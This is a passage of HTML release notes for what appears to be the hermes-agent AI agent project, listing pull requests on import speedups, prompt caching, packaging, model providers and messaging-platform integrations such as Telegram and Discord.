<li><strong>Defer heavy google-cloud imports in google_chat to first adapter use</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22681/hovercard">#22681</a>)</li>
<li><strong>Defer QQAdapter and YuanbaoAdapter imports via PEP 562</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22790" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22790/hovercard">#22790</a>)</li>
<li><strong>Defer httpx import in teams to first webhook call</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22831/hovercard">#22831</a>)</li>
<li><strong>Defer fal_client import to first generation request</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22859/hovercard">#22859</a>)</li>
<li><strong>models.dev cache-first lookup, skip network when disk cache is fresh</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22808/hovercard">#22808</a>)</li>
<li><strong>Parallelize API connectivity checks in <code>hermes doctor</code> and disable IMDS</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22766" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22766/hovercard">#22766</a>)</li>
</ul>
<h3>Runtime</h3>
<ul>
<li><strong>180x faster <code>browser_console</code> evaluations</strong> — route through supervisor's persistent CDP WebSocket (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</li>
<li><strong>Tune Telegram cadence + adaptive fast-path for short replies</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269831381" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/10388" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10388/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/10388">#10388</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23587/hovercard">#23587</a>)</li>
<li><strong>Accumulate length-continuation prefix via list+join</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26237/hovercard">#26237</a>)</li>
</ul>
<h3>Prompt caching</h3>
<ul>
<li><strong>Cross-session 1h prefix cache for Claude on Anthropic / OpenRouter / Nous Portal</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23828/hovercard">#23828</a>)</li>
<li><strong>Hit prefix cache in background review fork</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348034723" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17276" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17276/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17276">#17276</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443288876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25427">#25427</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25434" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25434/hovercard">#25434</a>)</li>
</ul>
<hr>
<h2>📦 Installation &amp; Distribution</h2>
<h3>PyPI + supply-chain</h3>
<ul>
<li><strong>PyPI wheel packaging — <code>pip install hermes-agent &amp;&amp; hermes</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454164335" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/26350">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</li>
<li><strong>Supply-chain advisory checker + lazy-install framework + tiered install fallback</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</li>
<li><strong>Use <code>--extra all</code> not <code>--all-extras</code>; drop lazy-covered extras from <code>[all]</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24515/hovercard">#24515</a>)</li>
<li><strong>Skip browser download when system chromium exists</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25317/hovercard">#25317</a>)</li>
</ul>
<h3>Nix</h3>
<ul>
<li><strong><code>extraDependencyGroups</code> for sealed venv extras</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21817/hovercard">#21817</a>)</li>
<li><strong>Refresh npm lockfile hashes</strong> — keeps Nix flake builds reproducible</li>
</ul>
<h3>Docker</h3>
<ul>
<li><strong>Bootstrap auth.json from env on first boot</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21880/hovercard">#21880</a>)</li>
<li><strong>Drop manual @hermes/ink build, rely on esbuild bundle</strong> — slimmer image</li>
</ul>
<h3>ACP / Zed</h3>
<ul>
<li><strong>Zed ACP Registry integration</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448778934" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25908/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25908">#25908</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26079/hovercard">#26079</a>)</li>
<li><strong>Switch to uvx distribution, drop npm launcher</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26120/hovercard">#26120</a>)</li>
<li><strong><code>hermes acp --setup-browser</code> bootstraps browser tools for registry installs</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26234/hovercard">#26234</a>)</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Sessions &amp; handoff</h3>
<ul>
<li><strong><code>/handoff</code> actually transfers the session live</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23395/hovercard">#23395</a>)</li>
<li><strong>Expose <code>HERMES_SESSION_ID</code> env var to agent tools</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23847" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23847/hovercard">#23847</a>)</li>
</ul>
<h3>Goals (Ralph loop)</h3>
<ul>
<li><strong><code>/subgoal</code> — user-added criteria appended to active <code>/goal</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a>)</li>
<li><strong><code>/goal</code> checklist + /subgoal user controls</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23456" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23456/hovercard">#23456</a>) — rolled back in window (<a href="https://github.com/NousResearch/hermes-agent/pull/23813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23813/hovercard">#23813</a>); /subgoal returned in simpler form via <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443429014" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25449">#25449</a></li>
</ul>
<h3>Compression</h3>
<ul>
<li><strong>Make <code>protect_first_n</code> configurable</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25447" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25447/hovercard">#25447</a>)</li>
</ul>
<h3>Verification</h3>
<ul>
<li><strong>Per-turn file-mutation verifier footer</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</li>
</ul>
<h3>Stream retry</h3>
<ul>
<li><strong>Log inner cause, upstream headers, bytes/elapsed on every drop</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23005/hovercard">#23005</a>)</li>
</ul>
<hr>
<h2>🤖 Models &amp; Providers</h2>
<h3>New providers</h3>
<ul>
<li><strong>xAI Grok OAuth (SuperGrok Subscription) provider</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26534/hovercard">#26534</a>)</li>
<li><strong>NovitaAI provider</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4239769574" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/7219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/7219/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/7219">#7219</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25507/hovercard">#25507</a>)</li>
<li><strong>NVIDIA NIM billing origin header</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4440730370" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25211" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25211/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25211">#25211</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26585/hovercard">#26585</a>)</li>
</ul>
<h3>Provider work</h3>
<ul>
<li><strong>OpenRouter Pareto Code router with <code>min_coding_score</code> knob</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22838/hovercard">#22838</a>)</li>
<li><strong>Optional codex app-server runtime for OpenAI/Codex models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24182/hovercard">#24182</a>)</li>
<li><strong>Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</li>
<li><strong>Codex-runtime: skip unavailable plugins during migration</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25437" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25437/hovercard">#25437</a>)</li>
<li><strong>Codex-runtime: de-dup <code>[plugins.X]</code> tables and stop leaking HERMES_HOME into config.toml</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452637433" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26250" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26250/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/26250">#26250</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26260/hovercard">#26260</a>)</li>
<li><strong>Pass <code>reasoning.effort</code> to xAI Responses API</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22807/hovercard">#22807</a>)</li>
<li><strong>Custom provider: prompt and persist explicit <code>api_mode</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25068/hovercard">#25068</a>)</li>
<li><strong>Rename Alibaba Cloud → Qwen Cloud, reorder picker</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24835/hovercard">#24835</a>)</li>
<li><strong>Restore gpt-5.3-codex-spark for ChatGPT Pro</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363243703" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/18286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18286/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/18286">#18286</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374103180" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19530/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19530">#19530</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331658979" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16172" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/16172/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/16172">#16172</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22991/hovercard">#22991</a>)</li>
<li><strong>Inject tool-use enforcement for GLM models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24715/hovercard">#24715</a>)</li>
<li><strong>Use Nous Portal as model metadata authority</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24502" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24502/hovercard">#24502</a>)</li>
<li><strong>Unified <code>client=hermes-client-v&lt;version&gt;</code> tag on every Portal request</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24779" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24779/hovercard">#24779</a>)</li>
<li><strong>Prevent stale Ollama credentials after provider switch</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21703/hovercard">#21703</a>)</li>
<li><strong>Auxiliary client: rotate pooled auth after quota failures</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413655442" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22779" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22779/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22779">#22779</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22792" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22792/hovercard">#22792</a>)</li>
<li><strong>Auxiliary client: skip providers without credentials immediately</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442897934" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25395/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25395">#25395</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25487/hovercard">#25487</a>)</li>
<li><strong>Auth: send Nous refresh token via header</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21578/hovercard">#21578</a>)</li>
<li><strong>MiniMax: harden OAuth dashboard and runtime</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24165/hovercard">#24165</a>)</li>
</ul>
<h3>OpenAI-compatible proxy</h3>
<ul>
<li><strong>Local OpenAI-compatible proxy for OAuth providers</strong> — Codex / Aider / Cline can hit Claude Pro, ChatGPT Pro, SuperGrok (<a href="https://github.com/NousResearch/hermes-agent/pull/25969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25969/hovercard">#25969</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New platforms</h3>
<ul>
<li><strong>LINE Messaging API platform plugin</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23197" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23197/hovercard">#23197</a>)</li>
<li><strong>SimpleX Chat platform plugin</strong> (salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117407388" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2558">#2558</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26232/hovercard">#26232</a>)</li>
</ul>
<h3>Microsoft Graph foundation</h3>
<ul>
<li><strong>msgraph: add auth and client foundation</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400317607" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21408/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21408">#21408</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21922/hovercard">#21922</a>)</li>
<li><strong>msgraph: add webhook listener platform</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400318904" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21409/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21409">#21409</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21969/hovercard">#21969</a>)</li>
<li><strong>teams-pipeline: add plugin runtime and operator cli</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400320220" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21410/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21410">#21410</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22007/hovercard">#22007</a>)</li>
<li><strong>teams: add pipeline outbound delivery via existing adapter</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400321291" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21411" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21411/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21411">#21411</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22024/hovercard">#22024</a>)</li>
</ul>
<h3>Cross-platform</h3>
<ul>
<li><strong>Per-platform admin/user split for slash commands</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186299753" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/4443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4443/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/4443">#4443</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23373/hovercard">#23373</a>)</li>
<li><strong>Forensics on signal handling — non-blocking diag, per-phase timing, stale-unit warning</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23285/hovercard">#23285</a>)</li>
<li><strong>Keep gateway running when platforms fail; add per-platform circuit breaker + <code>/platform</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26600/hovercard">#26600</a>)</li>
<li><strong>Wire <code>clarify</code> tool with inline keyboard buttons on Telegram</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24199/hovercard">#24199</a>)</li>
<li><strong>Add <code>chat_id</code> to <code>hook_ctx</code> for message source tracking</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24710" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24710/hovercard">#24710</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li><strong>Native draft streaming via <code>sendMessageDraft</code> (Bot API 9.5+)</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4153857159" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/3412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3412/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/3412">#3412</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23512/hovercard">#23512</a>)</li>
<li><strong>Stream Telegram edits safely</strong> — salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411022272" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22264" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22264/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22264">#22264</a> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22518/hovercard">#22518</a>)</li>
<li><strong>Telegram notification mode</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413638873" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22772/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22772">#22772</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22793/hovercard">#22793</a>)</li>
<li><strong>Telegram guest mention mode</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22759/hovercard">#22759</a>)</li>
<li><strong>Split-and-deliver oversized edits instead of silent truncation</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374174566" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19537/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19537">#19537</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23576/hovercard">#23576</a>)</li>
<li><strong>Preserve DM topic routing via reply fallback</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408968252" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22053/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22053">#22053</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22410/hovercard">#22410</a>)</li>
<li><strong>Pass <code>source.thread_id</code> explicitly on auto-reset notice</strong> (carve-out of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241919580" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/7404" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/7404/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/7404">#7404</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23440" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23440/hovercard">#23440</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li><strong>Render clarify choices as buttons</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25485/hovercard">#25485</a>)</li>
<li><strong>Channel history backfill — default on, broadened scope</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25984" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25984/hovercard">#25984</a>)</li>
<li><strong><code>thread_require_mention</code> for multi-bot threads</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442115964" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25313/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25313">#25313</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25445" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25445/hovercard">#25445</a>)</li>
</ul>
<h3>Slack</h3>
<ul>
